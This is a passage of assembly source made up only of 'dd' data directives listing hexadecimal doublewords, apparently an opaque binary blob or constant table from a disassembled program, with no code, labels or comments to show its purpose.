		dd 6F1ED40h, 0A314C3C9h, 130289F7h, 3442B4FFh, 9485855h
		dd 6F216B0Ah, 46565068h, 49642606h, 70B424h, 4D0795E2h
		dd 78C45B57h, 8171AF39h, 0DB531126h, 0A03E34D9h, 0C601A090h
		dd 6B7DC02h, 0D8819693h, 67D641B6h, 4DF6C056h, 0B0335126h
		dd 0BB12023Dh, 4898881Eh, 4176B0h, 748736FCh, 0B75FE965h
		dd 831CC6E4h, 0A540F463h, 0A947F15Eh, 0BF9C006Ch, 0CA1E3A14h
		dd 40C04FB9h, 0FE0D31E1h, 88BE5C18h, 41348C84h,	91E189C6h
		dd 10161081h, 38CC3BA7h, 5EB300E8h, 94893DBEh, 0E5C200A0h
		dd 0D77DCBF6h, 49000253h, 0AC5BE287h, 61D3DCh, 0E6BBF5D6h
		dd 77B9D863h, 83D6F01h,	102FCF1Eh, 7D748C9h, 0B4E1AE40h
		dd 7FCA3083h, 702F6A2Eh, 0A1DCB2h, 0A41B8F0Bh, 0C3ED7F9h
		dd 957F00FFh, 89818B72h, 1A774Ah, 1E416540h, 3FEDE3C1h
		dd 8C03CB01h, 736A1255h, 3F993CD0h, 0C300BE63h,	4054B77Ah
		dd 9100E65Ah, 975E43ACh, 201F1Eh, 2E7C18C8h, 0B2F44F6Eh
		dd 729E7000h, 0CB5E7E73h, 0F7F0044h, 0BE51B701h, 2200D31Ah
		dd 6A5DA4D7h, 0E0C97446h, 796F7E2Bh, 0FFEE0097h, 23042AABh
		dd 0DD1C1CCFh, 2240D5CBh, 822FB470h, 1801008Fh,	8D9F49E7h
		dd 0D8E4364Bh, 0F75B2000h, 1505FFA7h, 739D00F0h, 8C08DE52h
		dd 2F005CD1h, 11E4A070h, 89D462h, 0ECEBB497h, 0A6992131h
		dd 55E73D00h, 0D4B184EAh, 0BEB3029Dh, 0C36439E3h, 0DDC5AF60h
		dd 0A00A1100h, 0FA26C8FBh, 0CD100176h, 0BA1B2809h, 0C97DF81Fh
		dd 251C1500h, 0DD2187A2h, 79CE058h, 7F352F27h, 509E2C2Ah
		dd 60D56F00h, 6AA48BCEh, 13480F01h, 0C5871D23h,	641A218Fh
		dd 1F3CF843h, 0FC1F31EAh, 0A4FCCBBh, 67D6CF57h,	0EC80D453h
		dd 1E7965CFh, 403B6B45h, 5DA21842h, 471E62A1h, 1B80EA23h
		dd 328446Eh, 0E838007Dh, 20972264h, 5A007076h, 3C68B3BFh
		dd 787B11BAh, 648200C3h, 0AD77446Ch, 0EB002DEAh, 1072019Dh
		dd 75D65F5h, 0E2B9B368h, 8E89224Ah, 0BE2A2EE0h,	0A0B20734h
		dd 5DA35C80h, 0E4FB3BBDh, 8367D100h, 0C3031FF9h, 844FDD28h
		dd 222E1300h, 0EE407E7h, 88F868h, 3F60F380h, 0A6EAF6D8h
		dd 0EF0F46E4h, 60E379BFh, 0BAE788F0h, 0CD20004Dh, 0EE0F2405h
		dd 87709C2h, 1C7E3300h,	2D788802h, 0FC760068h, 96894345h
		dd 0FF0EC0D8h, 9CBAA7CBh, 5E1F40C0h, 3AE6A27h, 73E5C8ACh
		dd 36908344h, 3800909Eh, 0AF3E23B3h, 12A53B84h,	0C010297h
		dd 0BD78B448h, 0C7682E01h, 0E7C9261Ch, 0AF71C8h, 0B460A779h
		dd 68AB33A4h, 5E2FF200h, 0C94D1CB8h, 0CAAC0155h, 69DEC096h
		dd 688DC8F5h, 48597B24h, 53D62F82h, 0D20303EAh,	3BE56807h
		dd 0BA909D81h, 3E2744B3h, 4FB84D2Ch, 7CDDF80Eh,	29A90E00h
		dd 6800A734h, 199DB6D3h, 497016F3h, 0F71078BDh,	929E00E2h
		dd 78402582h, 0D2F60FA4h, 4A60DE54h, 2D96DB8Fh,	58896A07h
		dd 9517C612h, 33D96E80h, 57040FEBh, 35007DA7h, 4E0ABDF3h
		dd 9429A43Fh, 8C1541h, 0C60D687Fh, 0C1EEF4h, 3F91A155h
		dd 9413F7DBh, 77C00E00h, 89DEC04h, 0CF88003Ah, 79FBB97Eh
		dd 0AA006958h, 10414227h, 80F21Fh, 4362C0F0h, 0FAFE12FCh
		dd 0B959F600h, 709DE299h, 66BA0005h, 1217734h, 0E0C19A08h
		dd 0D993FC78h, 5D25D0h,	0EF76BF2Bh, 288C6999h, 0B0132F05h
		dd 0D80095C9h, 7B78EE02h, 5DA00BDh, 0A066379Ch,	0CB725B44h
		dd 0BF6C0100h, 0C4934513h, 6DB40075h, 0D8E6DE1Dh, 710921DAh
		dd 76419A1h, 0D910EE8Eh, 0A3E012h, 53EBA039h, 5915F179h
		dd 5A648307h, 9F47B4CBh, 56B1B960h, 28847C2Ah, 58B8E1Ah
		dd 5D466BADh, 53A44373h, 0F380080Ah, 573E9DBEh,	8830E03Fh
		dd 702149h, 0AF7A508Ah,	7B481D4Ch, 0A650F3F2h, 6400D08Ch
		dd 0BC846C0Ch, 13090DC8h, 6225D2h, 0B902312Ch, 0FF0099FAh
		dd 9F782028h, 3FD5BFF5h, 0A380EFB1h, 0FA660C4Eh, 0A8780858h
		dd 8800787Ah, 0CF43803Dh, 0FCB0E8h, 542D71BDh, 0D60FC773h
		dd 4216F880h, 0ADC61C3Dh, 2598CB40h, 5C9FCAF9h,	950FDFE5h
		dd 7B879258h, 15C89264h, 0FC30C860h, 0F8C01771h, 3655B274h
		dd 783A0403h, 80468194h, 3CC6BED4h, 19C75700h, 0DF2159BAh
		dd 0E83B00D1h, 0CCB1A617h, 383BA803h, 6A2483AAh, 0A88B5F8Ah
		dd 2D8FF43h, 42A55DCDh,	90689E39h, 200E6FAh, 9CADA8DBh
		dd 6EA475h, 0E5FBD73Ch,	87B0A709h, 0A1E87F0Eh, 320C4378h
		dd 85ED9075h, 0E427001Fh, 56D03894h, 19008DB9h,	0A8967AAAh
		dd 0C02FDCh, 0CFFAEF6h,	479EA176h, 634DE800h, 88DB5417h
		dd 12F60053h, 0D0169679h, 242C7502h, 840FF3AEh,	1AF521BFh
		dd 0DD408D1Bh, 58226B9Ah, 5B2CF826h, 0F5CE0BB8h, 9246AC00h
		dd 1000CD11h, 80BBA131h, 79177AACh, 3680082h, 9FFCAB6Ch
		dd 0C724919h, 0BEE49A09h, 0E70C8024h, 31D4A12h,	41688FA2h
		dd 67B2D229h, 9480DC48h, 38495524h, 4280DE9Ch, 5EDDB7FDh
		dd 38D55CE4h, 0B3E830Fh, 9F9C17C1h, 0EE28D094h,	7844DD00h
		dd 0FEB169B4h, 89EB1FCBh, 416B5C5Ah, 209E916Fh,	7F94201Eh
		dd 513D0179h, 24990317h, 800F6041h, 63AAB7h, 1FD56BF1h
		dd 0B8E458D3h, 80A0F53Eh, 3BE3261Bh, 146EAD55h,	91CBE08Ah
		dd 9DF60377h, 0DF068D13h, 9BC1EDF0h, 1B32860Fh,	0C6B840F9h
		dd 0C777CAh, 629A034Bh,	80FE36AFh, 0BBCE640Ch, 905D54F3h
		dd 54A10090h, 0D9094C0Ah, 0E80EE9B8h, 401045F5h, 0D3C9FFC1h
		dd 0B59B03DCh, 1798886Ah, 0F33326C0h, 0D172AD00h, 4969187Ah
		dd 0E3E100B6h, 9F77FDA6h, 6E731AA8h, 23966600h,	0AFEED5CAh
		dd 0DCE609ADh, 0EC809DEFh, 93BEFC77h, 0DB203F00h, 4CD83E2h
		dd 741113D9h, 7A20042Fh, 264A802Eh, 0C628BF8Fh,	5100C40Dh
		dd 9AEC3697h, 6485B50h,	650740DFh, 0C109212Eh, 86B4CC62h
		dd 1EB09AE4h, 0C879ACh,	8440FA32h, 50010331h, 0F012495h
		dd 2860F589h, 0D9F307FDh, 8E2CE862h, 142A97A0h,	6600BD98h
		dd 1F6F3341h, 79DCABEFh, 3946283Bh, 86900A5h, 0E89A9559h
		dd 8E1D5597h, 11D2E740h, 1B93F000h, 47F9F4h, 9865A8C0h
		dd 22C81F0Eh, 74785B7Dh, 0D83F8A79h, 708587A7h,	0C330E9A1h
		dd 956DF9h, 0CC968236h,	0ECDA0F8Ah, 0A000D990h,	0D017F025h
		dd 4CA7A318h, 3902B070h, 0D20B4B67h, 0EBB7F240h, 9DA9F4A0h
		dd 5C515D10h, 3660AD00h, 0D5851581h, 2BF4AE00h,	2D411471h
		dd 0DFBD00E9h, 66C987B8h, 237883D4h, 0EF3FFA03h, 0D9DDD689h
		dd 8345264h, 0F2D204C7h, 0C4D79B73h, 370EEF84h,	76E930h
		dd 80528AA0h, 6DBF0451h, 0ECF34F3h, 78E4F573h, 1FDD388h
		dd 4F32253Fh, 401F8BFFh, 0C4E9B4C4h, 0AD413A03h, 0D9CE79h
		dd 0A49C6448h, 96F5859h, 0E8803C91h, 3FCD15E3h,	0F74B027h
		dd 174289D5h, 833443C0h
		dd 0E77665A3h, 3CF403Eh, 728F37F9h, 2391E08Bh, 1DFE5Ch
		dd 6A250644h, 0DC9A964Fh, 0D9E54500h, 55EBD54Bh, 12E00B5h
		dd 6C6EC711h, 0C1B894A1h, 2EBCA858h, 280C87A3h,	90D11F3h
		dd 88E93E81h, 7D90CE00h, 1E05F6EBh, 34F96339h, 0E5DCC400h
		dd 0A32933h, 9F0E05D4h,	0A2EFC1B1h, 4A183730h, 0CCD0FBh
		dd 665B77C2h, 0D8DC24A3h, 0D4700BF8h, 30FB8C00h, 41EC87EDh
		dd 4BDB00C0h, 851A902Dh, 59005054h, 5EA44DA2h, 9044E998h
		dd 0D4C90081h, 8BB6664h, 8C004B34h, 3732117Ah, 796E55F6h
		dd 0B7E00D8h, 0DF6F4451h, 12002CE9h, 46C4BB16h,	0B0CCF7h
		dd 7CB9B30Ah, 0B2E982A9h, 812B183Dh, 0C8309BEDh, 0E5F4E0DCh
		dd 3F220710h, 30116AEEh, 0EDB463B3h, 0B73BF900h, 47B5F7F3h
		dd 1C5009Dh, 6FD78C23h,	54480DD9h, 0F4C90024h, 70E6CA72h
		dd 0C480071h, 9D2ABCD2h, 6900FB6Ch, 0C0FEFF24h,	0A25EABh
		dd 0D8231079h, 1572493Bh, 0F52A8300h, 5988C4FEh, 178B033Dh
		dd 7EC60A10h, 201836D1h, 0FA2F7025h, 0FADE68h, 3ACA732h
		dd 9C009516h, 0B1C9EF63h, 86D5BAh, 9F01CE5Dh, 3C9611A0h
		dd 8AC6D00h, 9025891Dh,	0D5760050h, 2038E3BFh, 0E10098DDh
		dd 67EF6634h, 957811h, 0EE96AFD8h, 55A1ECA7h, 51002872h
		dd 0FD534B75h, 0B34DD11h, 0C6D52F89h, 5C00BCD4h, 54E2F3E4h
		dd 0A386017Eh, 1B190767h, 509FC48h, 8033F93Ch, 473EEE50h
		dd 1DEF8565h, 691E37h, 0F1D4113Dh, 0FFE8A44Bh, 45964D00h
		dd 0ED0BC979h, 189A756Ah, 0D8831DD1h, 4E03FAC6h, 0B0E4693Fh
		dd 0AA8184E9h, 0A060E7F8h, 0D6C40065h, 34E6CE6h, 0ECA3C65Bh
		dd 0BD468DF8h, 7E76825Ch, 2F493800h, 8453A448h,	3F2301CAh
		dd 91BA81F2h, 451931A5h, 410A001Ch, 780B6707h, 0A09D230Ch
		dd 1550FFh, 0FCA81F3Dh,	20D9F466h, 0D2B6A00h, 97CC890Eh
		dd 1B7D62h, 40C6D1EBh, 0A2356553h, 31517F03h, 0C8B1CC1Ch
		dd 9D0AD89h, 0FE974E2Ah, 4DA6CD00h, 21789D6Ah, 1D00BD90h
		dd 0E77E3A88h, 12E9F2Fh, 47225D98h, 208915E2h, 0A8C0DCDEh
		dd 3AB3FBA3h, 0ECEA71AEh, 0D7C200B7h, 0E6A7AA8Ch, 0ABF0F48Ah
		dd 0A0C9DE28h, 9980040Fh, 0D809DDBh, 2C8DD945h,	0B3ED44E9h
		dd 72881A0Eh, 2335409Ch, 785C4C48h, 74080ECEh, 12E0C682h
		dd 8CF676BDh, 2FD6CA0Ch, 594F8FCh, 794CC061h, 9DBC413Ah
		dd 80A00F0Dh, 4BDFD7A9h, 1499BB94h, 0D4D9D389h,	0E9BC4139h
		dd 3157921Fh, 0CF5B0739h, 5DEAA4F8h, 0C8C88F54h, 6A60D806h
		dd 294F0Fh, 0C218384Ch,	7FD5C096h, 0AA648601h, 0EFAF9E53h
		dd 0B53902F3h, 0C8471635h, 0B9D8080h, 6D0F49B9h, 0E1C317F5h
		dd 3EDB9132h, 0FB0820h,	66F826F1h, 9F7D3B89h, 0AF00AA70h
		dd 6F34E4A7h, 146425Fh,	0A6454B6h, 0E1437B69h, 3078DCB2h
		dd 117D6C31h, 20C85502h, 0BABD00A8h, 0C89CB39Fh, 3C01826Eh
		dd 0C49992F0h, 3C21D3EEh, 824EBE9h, 0B6E93A75h,	72C450h
		dd 0F8DA8B47h, 791F24CCh, 58360200h, 0BF2BE9D1h, 88643B7Ch
		dd 9100E448h, 0C2D47257h, 3B0046E2h, 0A211B562h, 70F07B0h
		dd 20D6DCF7h, 0A70069A4h, 0ED1CEB34h, 0F1EA5A0Ch, 99B006h
		dd 13FB8B74h, 0D7F98FC5h, 8DE92919h, 4ADCCD10h,	64100E21h
		dd 0D9402474h, 2662A9Ch, 3D808600h, 0B3BC36FDh,	921F0F9Fh
		dd 0A78087A3h, 0F5CF7C38h, 23D18C00h, 79EDFFC0h, 9D7006h
		dd 0F93181D0h, 77033099h, 0ABEC050Fh, 0D68080B5h, 726EA568h
		dd 0CDFB1CEFh, 4F76C03Bh, 0C62FC48Eh, 64C99E00h, 356378Bh
		dd 428500CFh, 6ACC3879h, 450005D2h, 1EADDB96h, 2538BFAh
		dd 5C9ABB41h, 0B480F77Eh, 541B8D6Ch, 8118E809h,	0A80C200Fh
		dd 0F06273CFh, 2A4100E4h, 6F186370h, 0AA01159Ch, 0E5D046E6h
		dd 8C40835Ah, 38DDDE4Ch, 0E00B318h, 59248907h, 500041B1h
		dd 0E8CEE6F8h, 1EEF23E1h, 3F6561h, 6699B777h, 673B6881h
		dd 0EB928BA6h, 0E28EF7h, 0BE2AA3FEh, 735D047Fh,	0C08384F8h
		dd 36A5B29Ch, 28107A00h, 0FC543370h, 8B9500FAh,	9C3B4163h
		dd 0FD6096CCh, 78C1CD8h, 0AED10768h, 0C99D4FC3h, 406748B8h
		dd 53F14A61h, 0C422B219h, 0A20A7A60h, 3C1D9C4Ch, 88247968h
		dd 57E2FE00h, 0E85E9Ah,	7E197DDh, 1D34E793h, 7ADEAF06h
		dd 20818945h, 0EC508D4Fh, 40882CACh, 0F8EA483Ch, 611200DCh
		dd 0C995876Ah, 0A7095798h, 0A0478DA1h, 5C99CC04h, 48ED7ACFh
		dd 700C4FEh, 6AC49178h,	410610FAh, 0EF3A318Eh, 0D775397Ah
		dd 5704F180h, 6922FB80h, 5F91120Ch, 0F020C09Ah,	257E94h
		dd 1359ECD9h, 78D41E4Ch, 2C45E33Fh, 0EE197782h,	0D06066FEh
		dd 384005C5h, 8063BF12h, 14295C8h, 230306FEh, 0EEB19991h
		dd 93F000FCh, 564F1C8Bh, 0A4C44CFh, 2BD000Ch, 9AB55E53h
		dd 0E5DE00A6h, 988894BEh, 50C055F7h, 0C2D9C197h, 105067F2h
		dd 0CC8890C9h, 0B607A442h, 27307DBAh, 0D67F5590h, 0BE1B1323h
		dd 0D1104040h, 3D5692D7h, 89066C3Fh, 80597CF6h,	5103F179h
		dd 1E70F91Eh, 5D870052h, 0D81CCC04h, 483D6083h,	1DE4CC98h
		dd 0D4E11CAh, 0B28647BAh, 0E72C90F9h, 560B0331h, 7430289Bh
		dd 0B6C0A000h, 0FCCA47ACh, 5AA000CCh, 0FE9C79Dh, 7B00FB3Ch
		dd 84D42D6Fh, 0FDBB05h,	0B35FF5A1h, 14E41F73h, 80AB2500h
		dd 0C433990Eh, 54883FE3h, 75A0A928h, 0D8B45C66h, 0E58ED00h
		dd 9B770CB9h, 0EBA92200h, 9FC5F225h, 0EFE200D1h, 71F16D83h
		dd 7B02CFAEh, 29085DD3h, 985A63A6h, 0FA581Ch, 7E24BF2Dh
		dd 319ED9E3h, 0FB8C4500h, 0D8B408E8h, 88BA0012h, 233A9D52h
		dd 3F01064Ch, 8DEA1184h, 0E0C2BF97h, 105FE9h, 0E419A2F9h
		dd 61A060B5h, 0F49CC729h, 92E16860h, 197260h, 8062FAEDh
		dd 0BFE5510Dh, 252BFF03h, 3E9359AEh, 3F804511h,	0AB9079EFh
		dd 9E00106Bh, 234BB277h, 0C7F33822h, 1099C629h,	3A980C7Bh
		dd 0B6495A00h, 96844F95h, 21F0B86h, 0D4249D71h,	6AEAC0E3h
		dd 6F025248h, 5481D4FEh, 1B8CC0D2h, 0E66800C8h,	0A7ED4B34h
		dd 4800D15Bh, 0D898B320h, 3B825CD5h, 0C112B68Fh, 0C34C80BCh
		dd 0BD009A46h, 0F269E9F8h, 0E35ED5h, 0BF634B5h,	0CC717947h
		dd 4B081502h, 0C1E8E48Bh, 5CE06035h, 0D32A0361h, 0C19E7AB8h
		dd 487D60AFh, 0FD09225Ah, 0ED077Fh, 0B35E6D60h,	0B8F00EBEh
		dd 9A411852h, 0C33703FFh, 0DE9D50F8h, 0D4361502h, 41B021AEh
		dd 0EC60CDE1h, 9C5B007Ch, 99E614C2h, 500139ADh,	40E2293Ch
		dd 9030FFA7h, 21D90356h, 7CBD7169h, 3A8AC0C0h, 0F339DB00h
		dd 5AF4649Dh, 4CEF7721h, 283C4CCBh, 0B031680h, 0BAEA8CC3h
		dd 0B0A9D824h, 0E772AC00h, 0EC2EE3h, 205721B5h,	3371760Dh
		dd 4412D216h, 0CDFF3000h, 98454331h, 903F00B6h,	0A3586A21h
		dd 127EE570h, 3403448h,	48C68E37h, 0A4B2A8F7h, 7C300C7h
		dd 3A8D17C4h, 0F400ED69h, 1360D640h, 1C0A87D3h,	415B823Fh
		dd 69EDD48h, 88808226h,	0D45A51ABh, 61C40B60h, 0D7507880h
		dd 0B500F647h, 75B16E4Ah, 9511964h, 44353267h, 3E91CA0h
		dd 0A2009710h, 8F66E848h, 4DB53B7h, 0BEE23D55h,	2B0C187h
		dd 0AB9F834h, 3C997D00h, 1827EDABh, 0D28400C0h,	6BA87F54h
		dd 2A7C7AF2h, 0B250781Fh, 60BBDBCEh, 8943FFD2h,	0DA9400E4h
		dd 429AE866h, 84002062h, 631CB650h, 7ABCF07h, 0F47F7B34h
		dd 9BC5B0F6h, 0A300F2D6h, 4CA050C0h, 1A696Dh, 6652C4F3h
		dd 457198BDh, 954D000h
		dd 36A4CBBEh, 3590085h,	2381A55Ch, 4504BDD6h, 0B7D180DBh
		dd 502D38C0h, 3DD82602h, 2E2850h, 1857993Eh, 17655256h
		dd 8BE8FD26h, 92A83B01h, 0A6E062E0h, 0B94E0132h, 5911C7F2h
		dd 25ADE8DFh, 53443E00h, 0C4EDE0CAh, 66DD009Ah,	0C837A8D2h
		dd 0A9171E2Bh, 0BC0F5AC9h, 14B1843Fh, 34C4A0h, 940B4A9Fh
		dd 0F4C0813Bh, 0E9D6360Ch, 0E3F1828h, 5A7ACCC9h, 2825B7CBh
		dd 0F9A400EFh, 0FB5D904Bh, 133A4704h, 0A0A04621h, 69640039h
		dd 551DD950h, 9B09596Dh, 7D2C8EAh, 0A9497Ch, 262FFBA8h
		dd 35774C73h, 246450h, 0A55879F0h, 3BE10268h, 4C75FC01h
		dd 0FB4EDF77h, 93C02831h, 0A1C50D89h, 6110A8D8h, 17FE0E3h
		dd 0F321CFh, 9638EDDAh,	0CDCF0016h, 0B6186050h,	621D77A5h
		dd 6340536Bh, 9910D7E5h, 0EF20B5Bh, 630033C8h, 7889CBDBh
		dd 5F15D20Eh, 871B00E3h, 0F5796Ah, 37B7DDA7h, 0B6DE7641h
		dd 99173E00h, 66E36714h, 0B877BEAh, 71A77AFAh, 7FFB3100h
		dd 24B29145h, 0E8A48912h, 50F0745Dh, 0E28A5FCFh, 0B9FC1E53h
		dd 0F20F803Fh, 7AEAB35Dh, 2A7DFBE2h, 1EB24F00h,	3C3D07Bh
		dd 78013D9Eh, 0B5C02C8Ch, 0A3E22218h, 0A79FB200h, 734335FDh
		dd 0F3FC1872h, 0C0D920AEh, 7858E830h, 1B524AFDh, 308C3622h
		dd 5349EDF0h, 89FAE412h, 189E380Ch, 0F6FC186Bh,	788840ECh
		dd 0A31E7678h, 1D3914FFh, 0F7E0526Ah, 0C0BC15F4h, 409A3EE1h
		dd 0EA39BB90h, 1006CB60h, 7821AB6Ch, 6B89C3C5h,	5100A02Ch
		dd 0CFDF4CBh, 0C0278C94h, 0C31D12D0h, 0E914A786h, 20D755h
		dd 0CDB37CFFh, 0DF8068B8h, 0C8E50548h, 0C375C398h, 5066100Fh
		dd 3C0480A5h, 0B09DB2A6h, 0A460CCF8h, 0A900E171h, 76987A57h
		dd 0D70FB5h, 1833D629h,	0E702B03Eh, 14D24000h, 6E4F8032h
		dd 0BDEC00A1h, 0B2395ED3h, 503F5672h, 7FD41D46h, 0CB4CE303h
		dd 0B502D874h, 353900CDh, 8786068Dh, 0F00F6DDh,	4A8EE73h
		dd 0C1D11D24h, 0CBFCC390h, 0C22D6h, 293ADB8Dh, 1999772Eh
		dd 8A72895h, 5828B1h, 6F3ADAE7h, 1C84587h, 0B60A5E9Bh
		dd 0C9623C25h, 0C5B84092h, 4E283A37h, 0F712CC9Fh, 0D6E8542Ch
		dd 0CACB2E00h, 0D7D6EE32h, 7A1424E0h, 0BC447712h, 0FC43B5h
		dd 1C6D120h, 723DB82Eh,	0BE6A1837h, 0FC2578A2h,	33865320h
		dd 0D638C8ADh, 0F80041E6h, 0A7EA0CFh, 929104EBh, 22160A10h
		dd 3A209FD6h, 883C90FCh, 123665F0h, 43752E22h, 0BE802C70h
		dd 6A18207Ch, 0C199B06h, 788DFB10h, 0FD71BEB1h,	40CE617Eh
		dd 70FFC703h, 3C14A0B8h, 48027FAh, 8865D6CFh, 4860CEA8h
		dd 55DE2571h, 0A214F91Ch, 1EC0519Eh, 0ADF76354h, 28720008h
		dd 88911BDCh, 0BF00F52Eh, 7E8F0C57h, 0FFD8EE70h, 38CC0DDCh
		dd 25C8C9DFh, 0A7F38807h, 0F49BC0A2h, 6400BD82h, 7E162351h
		dd 98D30E35h, 20D80018h, 524EC3C9h, 0C60027E6h,	0FA16662Ah
		dd 0B096732Dh, 4475011Ah, 265AB847h, 51E8FFE2h,	9B00096Bh
		dd 2F1661F1h, 1F3BEA5Bh, 0D5406Eh, 5A7E056Dh, 0D2008598h
		dd 49901B4h, 63E3FDh, 65F39EB2h, 0A2E1BC4h, 5E454D00h
		dd 0FA44A25h, 170788Ch,	8D39C867h, 40857211h, 214DA89Ah
		dd 0DD673E98h, 8BCC528h, 720713Dh, 0C339C0A2h, 7BDCB332h
		dd 0A6E58080h, 84661100h, 0B872D605h, 0F42B0721h, 9376EB23h
		dd 4003A280h, 8E90794Ah, 0C6300322h, 0DDA3C21Ch, 619A1B91h
		dd 0B81881DFh, 1454DA8Bh, 0C012AD70h, 0B0AAA438h, 0C1008322h
		dd 0CB1153BDh, 0C2B8B2h, 2165E6CEh, 0FE6A91D5h,	46A22500h
		dd 0F70F0ABDh, 103C6F19h, 230106C8h, 99592144h,	5FC29181h
		dd 0F4B0EF67h, 3F0609D7h, 957ED683h, 98871521h,	0A2069821h
		dd 9113395Bh, 3F1ABF00h, 48E9539Bh, 0D4300F51h,	0FC76E8ABh
		dd 0A95D01E2h, 0B5153750h, 62FCD0h, 962F9FD8h, 0B9A4B34Ah
		dd 3687DC00h, 5E20DF3Dh, 5B06009Bh, 0B76D99FFh,	53A924Ah
		dd 217530B6h, 5B1E7Ch, 6FC4E2F3h, 25F2ED40h, 48995500h
		dd 0C5218F56h, 0FF660058h, 0BD61A594h, 7800ABB8h, 5E74B33Dh
		dd 0C4B2B13Bh, 1B1F2C18h, 0E22E059h, 1D3B843h, 0D80A2D0Dh
		dd 9D69FB67h, 440C410h,	5C934941h, 4338DFA8h, 0DC38DB1Bh
		dd 723F4100h, 0DF47A9F5h, 5A3719AAh, 80D908D7h,	0F5D11A21h
		dd 0DA0696h, 0D62B16Bh,	0BE7AF623h, 601028A3h, 4400A3ECh
		dd 552E4D5Bh, 881F8DBAh, 41C1E6AFh, 0DD282126h,	1C54FBC0h
		dd 7DBF327Eh, 0EEE87780h, 4039AEA5h, 31F68700h,	0C779549Eh
		dd 2C84008Fh, 7E104557h, 5D00A398h, 821B01D7h, 0F0835Ch
		dd 13EDB2A4h, 7C2677F6h, 0F208C900h, 0AF3ED00Fh, 28C300E1h
		dd 8BEC517Fh, 7C00A156h, 9676B0C7h, 0C5EB47h, 49426783h
		dd 5907D1DAh, 0D368B00h, 0DCE840C0h, 0C7EA7Ch, 0ABFD2F5Bh
		dd 0B5D99F01h, 0AC388A00h, 0A7546903h, 0AFDF001Bh, 0C04084DAh
		dd 0BF0FE8B6h, 21BE9AA8h, 0F3F66918h, 352830h, 0B20B1DB1h
		dd 0F7C27EE7h, 5B8A28C0h, 1EDB90h, 0F93805EAh, 3547650h
		dd 0E9271F00h, 0D63E0BCDh, 0B51303B0h, 0D59534A8h, 0DE83800h
		dd 3A78C136h, 68210046h, 5E38BB01h, 8265750h, 42063D7Ch
		dd 30D9CAh, 0F401273Fh,	3D7DA5D8h, 134B840Eh, 0DD2FA12Bh
		dd 55F0DA92h, 0D49530CCh, 0B04B6161h, 2B307200h, 0C96D94B3h
		dd 46DE00A5h, 3E73E1Ch,	8905D8C1h, 0FCD9BA25h, 0A399A4C0h
		dd 0F52D00C0h, 40C224CCh, 157613E7h, 2BD37914h,	81F8070Ch
		dd 49C13075h, 3C000E43h, 0B3F03E26h, 28F4F630h,	0E11FECEh
		dd 8C0C10A2h, 209EC160h, 600A12Dh, 2616E038h, 0F61BA595h
		dd 97A8A8DFh, 37C1C010h, 3C969E4Dh, 0E3073800h,	3276D769h
		dd 3BB37A97h, 78601349h, 0E8C1535Ch, 0D26B5200h, 0AE702643h
		dd 0C7F70777h, 0D0551099h, 6793DA42h, 371B2400h, 3E94B080h
		dd 72FC7Dh, 0B333732Ah,	0FF995663h, 54264B71h, 9F1D2319h
		dd 4817550Dh, 62F0040Eh, 5F7CDDD4h, 9F02B100h, 0DE61B732h
		dd 108B0307h, 0EBAC5D6Dh, 0C54F6298h, 0B2041906h, 42296BD2h
		dd 0ADF611C2h, 6E42847Eh, 4F104621h, 3EBE3788h,	6A200071h
		dd 0D5415291h, 0E4AF008Ah, 1733592Eh, 0FC0EF6D8h, 1FDF54ABh
		dd 0C4CADB47h, 2548BE00h, 877E077Ah, 6E4A74D8h,	0E45507h
		dd 0A2AF1F85h, 8E1EC100h, 793E2BB3h, 968D58B7h,	0F4B2F000h
		dd 0D49B0FE7h, 8813AA28h, 48C27A00h, 0EAB57411h, 672D00BCh
		dd 0FF6465A4h, 4D90A945h, 2431FC01h, 0EDD823E0h, 7C91149Dh
		dd 66CF5D00h, 10845C0Eh, 0DF055102h, 61A13EEEh,	0F0FF1B78h
		dd 44A639h, 8682DD11h, 486214F8h, 0FE3E2CF4h, 40AE00ABh
		dd 9C4CE2FFh, 430300F9h, 0BDBCF082h, 1200C966h,	0C3881DA5h
		dd 114D34h, 3EC4A2BAh, 6F9F44D3h, 0AA24E000h, 17367CBBh
		dd 50F70375h, 3D566B90h, 0DAE593A0h, 0F0FF197Dh, 0AEF0650Ch
		dd 6FECC800h, 991AF782h, 0F64121Ch, 8D0C0315h, 0B4B9FDB0h
		dd 26F1F0E8h, 982D8601h, 0E627C442h, 3A841920h,	5C80B4D5h
		dd 5B992087h, 58004E15h, 0A42C86BFh, 0E23FD8FFh, 0F9760790h
		dd 5017F502h, 136D34ECh, 0D7520F00h, 0DACE5120h, 0DF5A12DCh
		dd 67F00481h, 0FB3C0FCh, 7F01687Bh, 9163B413h, 0A3F47566h
		dd 0BBBC3C8Fh, 0F3C300F8h, 0AF1021A4h, 0F700C893h, 4446E4F5h
		dd 0C03AE3h, 8C15F9C4h,	1B306145h, 28026501h, 0AAC8864h
		dd 0A79EB8D3h, 90B004BEh, 0C0CEB5A5h, 693177E7h, 99CFA800h
		dd 0D2F52753h, 8C0350E5h
		dd 25C38B0h, 0DFDA5880h, 0BF18C7E1h, 3272C300h,	68F4A128h
		dd 8DD41D07h, 0CF6C40ECh, 0DABED640h, 260035F8h, 3FC41096h
		dd 0E4B1F5h, 0D2A880FDh, 3C8A3236h, 3EA1BC03h, 882F5514h
		dd 0ECE802h, 88BDAABBh,	6F37C070h, 0C54AD900h, 2765C221h
		dd 309305FAh, 8007B2ACh, 0B6FEBF4Bh, 0E80053EEh, 6D0F82C1h
		dd 0E5F9Ch, 2611D91Bh, 5125DE6h, 0FD0392FCh, 0A6387D28h
		dd 3BECF1D0h, 0F93D8C3h, 5A8D00D1h, 0E6AD2A98h,	9C058B3Ch
		dd 2C29A643h, 0EAF32E80h, 0B5BC0048h, 0AEC5A68h, 200806Ah
		dd 250EF2ACh, 0C1F73Ch,	0A397F041h, 965A933Fh, 68FAD400h
		dd 518B29ECh, 0BC7A22h,	31B619F9h, 939FAB2Eh, 0CCFA6400h
		dd 8B6506A6h, 528112DAh, 89E600F5h, 0EC62CF1Fh,	804BCA3Fh
		dd 7FFE82Eh, 58E5BF4Ah,	0A7007739h, 3A421B78h, 1F0023EAh
		dd 0BD9EC01Ah, 7D75629h, 0ADA8BB25h, 3346A1F3h,	82FC2012h
		dd 6D32D600h, 8F0A2EB2h, 0A173010Eh, 0F2107624h, 0BCB4C844h
		dd 8195FE00h, 8F062C1h,	0F6CD099Eh, 3420EAEFh, 0A34234A7h
		dd 1F83C104h, 40C086DAh, 5E81E2h, 49E6CF92h, 9D2CC6D4h
		dd 0D0484BF0h, 91B00C8h, 23DFF267h, 437703FEh, 15E10E50h
		dd 32426900h, 0FD84068h, 0E4E600D7h, 67654508h,	2A00D13Eh
